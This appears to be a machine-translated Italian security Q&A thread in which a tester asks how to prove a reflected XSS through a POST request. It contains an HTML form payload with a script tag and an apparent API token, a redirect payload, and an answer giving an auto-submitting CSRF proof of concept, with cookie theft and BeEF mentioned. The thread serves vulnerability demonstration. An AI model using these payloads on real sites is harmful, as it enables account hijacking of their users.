Come posso dimostrare l'XSS riflesso tramite i metodi post

1

Stavo cercando di creare un PoC di XSS:

Esempio di attacco:

Ho inserito lo script nel valore:

<html>

  <body>
    <form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
      <input type="hidden" name="name" value="emoji&#95;use" />
      <input type="hidden" name="value" value="<script>alert('xss')</script>" />
      <input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
      <input type="hidden" name="&#95;attempts" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

E sono riuscito a ottenere una risposta positiva dal browser con <script>alert('xss')</script> . Ora il copione è stato iniettato e riflesso alla risposta, l'ho fatto notare come riflesso in XSS. Il problema è che l'avviso non viene visualizzato, quindi viene visualizzato come risposta del browser .

Ora il mio sviluppatore sostiene che dal momento che lo script non viene eseguito nel browser, quindi non è vulnerabile. Come posso fare una prova di concetto per questo?

Possibile sfruttamento a cui posso pensare di inviare un link creato allo sviluppatore con manzo e controllare la macchina per dimostrare la vulnerabilità.

Qualunque altro modo per dimostrare l'XSS riflesso o qualsiasi spiegazione possibile che convince il mio sviluppatore? Sto cercando suggerimenti dalla community, altre idee per dimostrarlo?

    
posta BlueBerry - Vignesh4303 16.11.2015 - 06:08
fonte

2 risposte

2

Il fatto che l'avviso non mostri, non significa che non è lì e in cambio significa che la convalida dell'input non viene eseguita. Questo da solo dovrebbe essere sufficiente.

Il mio prossimo pensiero è (se il tipo di contenuto è impostato su html e non su json) per modificare il payload. Cosa succede se lo fai:

<script>document.location.href="http://www.google.com";</script>

Supponendo che un'applicazione Web venga utilizzata di fronte all'API, forse puoi dimostrare uno scenario di ladro di cookie.

Inoltre, è possibile dimostrare la casella di avviso quando si utilizza un proxy come Fiddler e Burp Suite: selezionare la risposta, quindi fare clic su "genera HTML".

    
risposta data 16.11.2015 - 07:37
fonte
1

La pagina riflette i parametri vulnerabili quando invii il modulo da un altro sito web? In altre parole è protetto contro CSRF?

Altrimenti puoi semplicemente aggiungere il modulo ad un altro sito web e inviarlo automaticamente usando javascript

Ecco un PoC

 <html> 

<body> 
<form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
<input type="hidden" name="name" value="emoji&#95;use" />
<input type="hidden" name="value" value="<script>alert('xss')</script>" /> 
<input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
<input type="hidden" name="&#95;attempts" value="1" /> 
<input type="submit" value="Submit request" />
</form>
<script type ="text/javascript ">
 document.forms[0].submit();
</script> 
</body>
</html>
    
risposta data 16.11.2015 - 07:45
fonte

Leggi altre domande sui tag